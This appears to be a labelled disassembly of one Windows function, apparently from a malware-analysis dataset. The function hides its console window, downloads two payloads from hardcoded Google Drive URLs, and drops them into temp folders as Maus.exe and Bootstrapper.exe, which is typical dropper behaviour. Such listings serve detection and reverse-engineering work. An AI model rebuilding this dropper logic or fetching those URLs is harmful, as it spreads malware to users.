Function at 0x1400115b4
Capabilities:
Create directory
Get common file path
Hide graphical window

Disassembly:
jmp 0x14001adc0
push rbp
push rdi
sub rsp, 0x958
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x18e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002c040]
xor rax, rbp
mov qword [rbp + 0x920], rax
lea rcx, [0x1400330f8]
call fcn.140011843
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 8], rax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rax, str.https:__drive.usercontent.google.com_u_0_uc_id1zgkNO9DrcMPsTi5eG_wtkMjG855CYExzexportdownload
mov qword [rbp + 0x28], rax
lea rax, str.https:__drive.usercontent.google.com_u_0_uc_id1FYg4LH6H9o5vzJ4yg_xujJZgDD9iEajkexportdownload
mov qword [rbp + 0x48], rax
lea rdx, [rbp + 0x64]
mov rcx, qword [rbp + 0x28]
call fcn.140011294
mov qword [rbp + 0xa8], rax
lea rdx, [rbp + 0x84]
mov rcx, qword [rbp + 0x48]
call fcn.140011294
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xa8], 0
je 0x14001b0b6
cmp qword [rbp + 0xc8], 0
je 0x14001b0b6
lea rdx, [rbp + 0xf0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
lea rdx, str.Lower_
lea rcx, [rbp + 0xf0]
call fcn.140011785
nop
lea rdx, [rbp + 0x220]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
lea rdx, str.Solara_
lea rcx, [rbp + 0x220]
call fcn.140011785
nop
lea rcx, [rbp + 0xf0]
call qword [sym.imp.ucrtbased.dll__mkdir]
test eax, eax
jne 0x14001b022
lea rcx, [rbp + 0x220]
call qword [sym.imp.ucrtbased.dll__mkdir]
test eax, eax
jne 0x14001b022
lea rcx, [rbp + 0xf0]
call fcn.140011690
nop
lea rcx, [rbp + 0x220]
call fcn.140011690
nop
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x350]
call fcn.140011366
nop
lea rdx, str.Maus.exe
lea rcx, [rbp + 0x350]
call fcn.140011785
nop
mov r8d, 4
mov rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0x474]
call fcn.140011410
nop
mov eax, dword [rbp + 0x64]
sub rax, 4
mov rcx, qword [rbp + 0xa8]
add rcx, 4
mov r8d, dword [rbp + 0x474]
mov rdx, rax
call fcn.14001129e
nop
mov eax, dword [rbp + 0x64]
sub rax, 4
mov rcx, qword [rbp + 0xa8]
add rcx, 4
lea r8, [rbp + 0x350]
mov rdx, rax
call fcn.1400114d3
nop
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x4a0]
call fcn.140011366
nop
lea rdx, str.Bootstrapper.exe
lea rcx, [rbp + 0x4a0]
call fcn.140011785
nop
mov r8d, 4
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x5c4]
call fcn.140011410
nop
mov eax, dword [rbp + 0x84]
sub rax, 4
mov rcx, qword [rbp + 0xc8]
add rcx, 4
mov r8d, dword [rbp + 0x5c4]
mov rdx, rax
call fcn.14001129e
nop
mov eax, dword [rbp + 0x84]
sub rax, 4
mov rcx, qword [rbp + 0xc8]
add rcx, 4
lea r8, [rbp + 0x4a0]
mov rdx, rax
call fcn.1400114d3
nop
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x8e8], rax
mov rcx, qword [rbp + 0x8e8]
call fcn.1400113fc
cmp qword [rbp + 0x8e8], 0
jne 0x14001b053
mov qword [rbp + 0x918], 0
jmp 0x14001b06c
mov qword [rbp + 0xa8], 0x8123
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x918], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x908], rax
mov rcx, qword [rbp + 0x908]
call fcn.1400113fc
cmp qword [rbp + 0x908], 0
jne 0x14001b09d
mov qword [rbp + 0x918], 0
jmp 0x14001b0b6
mov qword [rbp + 0xc8], 0x8123
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x918], rax
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140026a30]
call fcn.1400116e5
mov eax, edi
mov rcx, qword [rbp + 0x920]
xor rcx, rbp
call fcn.14001140b
lea rsp, [rbp + 0x938]
pop rdi
pop rbp
ret